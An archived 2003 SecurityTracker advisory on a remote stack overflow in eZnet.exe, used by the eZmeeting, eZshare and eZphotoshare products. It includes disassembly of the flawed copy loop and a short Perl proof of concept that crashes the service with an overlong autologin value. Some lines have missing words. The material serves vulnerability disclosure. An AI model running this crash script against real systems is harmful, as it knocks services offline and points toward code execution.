Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Generic)  >   eZ Vendors:   eZmeeting
eZ 'eZnet.exe' Stack Overflow Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1008412
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Dec 8 2003
Impact:   Execution of arbitrary code via network, User access via network
Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 3.5.0 and prior
Description:   Peter Winter-Smith reported a stack overflow vulnerability in several of the 'eZ' products, including eZphotoshare, eZmeeting, eZnetwork, and eZshare. A remote user can execute arbitary code on the target system.

It is reported that a remote user can send a specially crafted packet to TCP port 80 on the target system to trigger an overflow in 'eZnet.exe'. A remote user can cause the target service to crash or potentially execute arbitrary code.

The report indicates that a specially crafted autologin operation value can be used to trigger the overflow, where a normal request may be of the following format:

GET /SwEzModule.dll?operation=login&autologin=1

A demonstration exploit (that does not execute code) is provided in the Source Message.

Impact:   A remote user can execute arbitrary code on the target system.
Solution:   No solution was available at the time of this entry. The vendor is reportedly working on a patch.
Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Windows (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Dec 12 2003 (Vendor Issues Fix) eZ 'eZnet.exe' Stack Overflow Lets Remote Users Execute Arbitrary Code
The vendor has issued a fix.

 Source Message Contents

Subject:  eZ Multiple Packages Stack Overflow Vulnerability

eZ Multiple Packages Stack Overflow Vulnerability


Author     : Peter Winter-Smith

Packages   : "eZnet.exe"
              + eZ
                Included in, or also known as:
                  + eZphotoshare
                  + eZmeeting
                  + eZnetwork
                  + eZshare
Version    : 3.5.0 and prior
Vendor     : eZnetwork
Vendor Url :

Bug Type   : Stack-based Buffer Overflow
Severity   : Highly Critical
              + Remote Code Execution

1. Description of Software

"Imagine going to the movies, but instead of seeing the picture, someone had

describe it to you verbally. That's what's happening in countless business
discussions and conference calls every day. A lot of time and money is being
wasted. That's why we created eZ. Now imagine having the ability to
phone, immediately - Word, Excel, PowerPoint, PDF, CAD, Digital Photos.

Real time. That's the power of eZ. Regardless of the distance that separates
your team, eZ delivers an amazingly interactive, simple, visual workspace
all team players. If a picture paints a thousand words, think what an
interactive picture can do for your business. Picture it with eZ."
- Vendor's Description

"eZnetwork is a service that works hand in hand with the eZ desktop

It allows users to connect with others (outside their Local Area Network)

the Internet, by using an eZ identity, or 'Friendly Name'. eZnetwork also

users to host conferences and join conferences, even when one or more
participants are located behind corporate firewalls, without compromising
- Vendor's Description

"eZphotoshare is an amazing new way to share Digital Photos over the
with friends and family. Seeing is believing, download it today and
interactively share digital photos anytime, anywhere. It's FREE for home

- Vendor's Description

"eZshare allows you to take your business to the next level in sharing

information both inside and outside the enterprise. This peer-to-peer
file sharing application gives people maximum flexibility and ease of use in
organizing and securely sharing all team information. Create Projects, Add

and Project Members, and you are ready to share."
- Vendor's Description

2. Bug Information

(a). Stack-based Buffer Overflow

Each one of the eZ software packages is shipped with an application file

runs as part of the core system, 'eZnet.exe'. It acts as a simple HTTP
listening on port 80/tcp for connections from one of the eZ software

Once it receives a request, it will return a string of data which the client

use to help negotiate a session with the remote eZ user.

There appears to be a serious issue with the way in which the eZnet

parses requests. A stack-based buffer overflow problem seems to arise when
overly long request is made to the server, however upon investigation it

impossible to trigger this flaw via a simple 'GET' request, since other
values which are critical to the continuation of the application cause it to
crash well before the execution flow can be modified.

It is possible to avoid this hang-up by issuing the overly long request as
argument within the internal module 'SwEzModule.dll'. A regular request to

module may look like:

$normalrequest = "GET /SwEzModule.dll?operation=login&autologin=1 " .
                  "HTTP/1.0.User-Agent: SoftwaxAsys/2.1.10\n\n";

It appears that just sending an overly long 'operation' to the server causes
similar problems to the issuing of an overly long 'GET' request, crashing
application before the execution path is modified, however it seems that

an overly long argument to 'autologin', which is perhaps one of many 'safe'
arguments which we can overflow, will allow complete modification of the
instruction pointer regardless of any other values which may be overwritten.

Something which makes this issue even more critical is the fact that

is the only application which is set to execute as soon as Windows is
making every user of eZ vulnerable by default.

A quick and simple code analysis shows us exactly where eZ went wrong:

(i) Analysis of the Vulnerable Code

At the instruction 00425580, the saved return address 00425583 is placed on

stack at the address 011AFF84.

:00425580 FF5648                  call [esi+48]
:00425583 50                      push eax

The procedure which was called from 00425580, located at 00401FE0, is one

will receive the data from the socket, parse it, and then take action based

the results.

The real problem lies within an internal parsing routine, a section of which
seems to be code for a strcpy() type of function,

This is shown below:

:004031AF 8A10                    mov dl, byte ptr [eax]
:004031B1 84D2                    test dl, dl
:004031B3 740C                    je 004031C1

:004031B5 88140E                  mov byte ptr [esi+ecx], dl
:004031B8 8A5001                  mov dl, byte ptr [eax+01]
:004031BB 41                      inc ecx
:004031BC 40                      inc eax
:004031BD 84D2                    test dl, dl
:004031BF 75F4                    jne 004031B5

This procedure seems to move the first byte of the data which we have sent
the application via the socket, into the dl register.

Then a check is performed to ensure that the values in dl isn't a null byte,
which may signify that no data was received, and then the procedure

write the content of the dl register to the address pointed to by the esi
register plus the ecx register, the value of which is incremented each time
round. Data is now being moved into into memory starting from 011AED30.

The only built in limitations which the procedure has is the presence of a

for null bytes. The procedure will continue copying data until the first

reached, which means that there is no limit to the amount of saved data

can overwrite. With this being so, it is no problem at all to continue
overwriting data indefinitely until we have completely overwritten the saved
return address from 00425580, which is located at 011AFF84.

When the procedure 00401FE0 has completed. the 'ret 4' instruction pops off

overwritten saved return address, and follows it to whatever ends we desire.

:0040231A 5B                      pop ebx
:0040231B 8BE5                    mov esp, ebp
:0040231D 5D                      pop ebp
:0040231E C20400                  ret 0004

3. Proof of Concept Code

    I have once again decided that it would not be appropriate for me to

and release exploit code for this issue until the vendor has written a fix

this issue, and the heap overflows which I noticed in various eZ


    A harmless proof of concept exploit which should recreate the conditions

which I have been talking is included below:



#!/usr/bin/perl -w
# Stack Overflow Vulnerability in eZphotoshare - PoC
#  - by Peter Winter-Smith []

use IO::Socket;

print "Usage: <victim>\n\n";

print "Stack Overflow PoC\n";

$victim = IO::Socket::INET->new(Proto=>'tcp',
                           or die "Unable to connect to $ARGV[0] on port

$eip = "\x58\x58\x58\x58";

$packet = "" .
  "GET /SwEzModule.dll?operation=login&autologin=" .
  "a"x4653 . $eip .
  "\x20HTTP/1.0.User-Agent: SoftwaxAsys/2.1.10\n\n";

print $victim $packet;

print " + Making Request ...\n";


print "Done.\n";




4. Patches - Workarounds

    Currently no patches exist. The vendor has reported to me that he will
working on a patch for all of the security issues which I have raised, and

may be downloaded with the latest version from the vendors website as soon
they are released. Meanwhile should provide a workaround for
this problem as they did for the other issue which I discovered.

5. Credits

    The discovery, analysis and exploitation of this flaw is a result of
research carried out by Peter Winter-Smith. I would ask that you do not

any of the analysis to be 'set in stone', and that if investigating this
you back trace the steps detailed earlier for yourself.

Greets and thanks to:
    David and Mark Litchfield, JJ Gray (Nexus), Todd and all the packetstorm
crew, Luigi Auriemma, Bahaa Naamneh, sean(gilbert(perlboy)), pv8man, nick
Joel J. and Martine.

o This document should be mirrored at:

Find a cheaper internet access deal - choose one to suit you.


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC